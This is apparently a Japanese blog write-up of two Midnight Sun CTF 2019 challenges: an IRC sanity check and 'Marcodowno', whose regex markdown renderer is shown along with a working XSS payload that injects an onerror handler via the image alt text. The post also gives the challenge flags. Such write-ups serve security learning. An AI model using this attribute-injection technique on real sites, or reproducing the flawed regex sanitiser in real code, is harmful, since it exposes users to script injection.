Midnight Sun CTF 2019 Quals

Midnight Sun CTF 2019 Quals writeup Sanity check

Sanity checkwarmupmisc

Points: 69

Solves: 381

Flag is in the topic of #midnightsun @ irc.freenode.net
settings Service: https://kiwiirc.com/client/irc.freenode.net:+6667/#midnightsun
Author: likvidera is available for questions in forum#midnightsun @ freenode 
Status: Online
IRCのチャンネルに接続します。
15:41 チャンネルに入りました
15:41 *xxxxxx join #midnightsun (~xxxxxx@yyy.zzz)
15:41 *topic : MidnightSunCTF 2019 - Friday, April 5 16:00UTC to Saturday, April 6 16:00 - https://ctf.midnightsunctf.se/ - 潤 midnight{midnightsunctf_2019} 潤
フラグは、
midnight{midnightsunctf_2019}

Midnight Sun CTF 2019 Quals writeup Marcodowno

Marcodownoweb

Points: 115

Solves: 136

Someone told me to use a lib, but real developers rock regex one-liners.
settings Service: http://marcodowno-01.play.midnightsunctf.se:3001
Author: avlidienbrunn is available for questions in forum#midnightsun @ freenode 
Status: Online, last check at 2019-04-06 06:47:05 UTC
入力値を以下のjavascriptで置換して出力しています。
function markdown(text){
  text = text.replace(/[<]/g, '')
             .replace(/----/g,'<hr>')
             .replace(/> ?([^\n]+)/g, '<blockquote>$1</blockquote>')
             .replace(/\*\*([^*]+)\*\*/g, '<b>$1</b>')
             .replace(/__([^_]+)__/g, '<b>$1</b>')
             .replace(/\*([^\s][^*]+)\*/g, '<i>$1</i>')
             .replace(/\* ([^*]+)/g, '<li>$1</li>')
             .replace(/##### ([^#\n]+)/g, '<h5>$1</h5>')
             .replace(/#### ([^#\n]+)/g, '<h4>$1</h4>')
             .replace(/### ([^#\n]+)/g, '<h3>$1</h3>')
             .replace(/## ([^#\n]+)/g, '<h2>$1</h2>')
             .replace(/# ([^#\n]+)/g, '<h1>$1</h1>')
             .replace(/(?<!\()(https?:\/\/[a-zA-Z0-9./?#-]+)/g, '<a href="$1">$1</a>')
             .replace(/!\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#]+)\)/g, '<img src="$2" alt="$1"/>')
             .replace(/(?<!!)\[([^\]]+)\]\((https?:\/\/[a-zA-Z0-9./?#-]+)\)/g, '<a href="$2">$1</a>')
             .replace(/`([^`]+)`/g, '<code>$1</code>')
             .replace(/```([^`]+)```/g, '<code>$1</code>')
             .replace(/\n/g, "<br>");
  return text;
}
markdownでimgタグのalt属性に該当する部分がそのまま出力されるためこれを利用してXSSを起こします。
inputの入力値を
![" onerror=alert(1) "](http://www)
とすると下図のようにフラグが表示されます。

1

フラグは、
midnight{wh0_n33ds_libs_wh3n_U_g0t_reg3x?}
記事検索
ギャラリー
  • TetCTF 2023 NewYearBot
  • UUT CTF writeup Find The Password
  • UUT CTF writeup The Puzzle
  • Hack Zone Tunisia 2019 writeup Microscope
  • Hack Zone Tunisia 2019 writeup Welcome
  • SwampCTF 2019 writeup Brokerboard
  • SwampCTF 2019 writeup Leap of Faith
  • SwampCTF 2019 writeup Last Transmission
  • CBM CTF 2019 writeup Long road
カテゴリー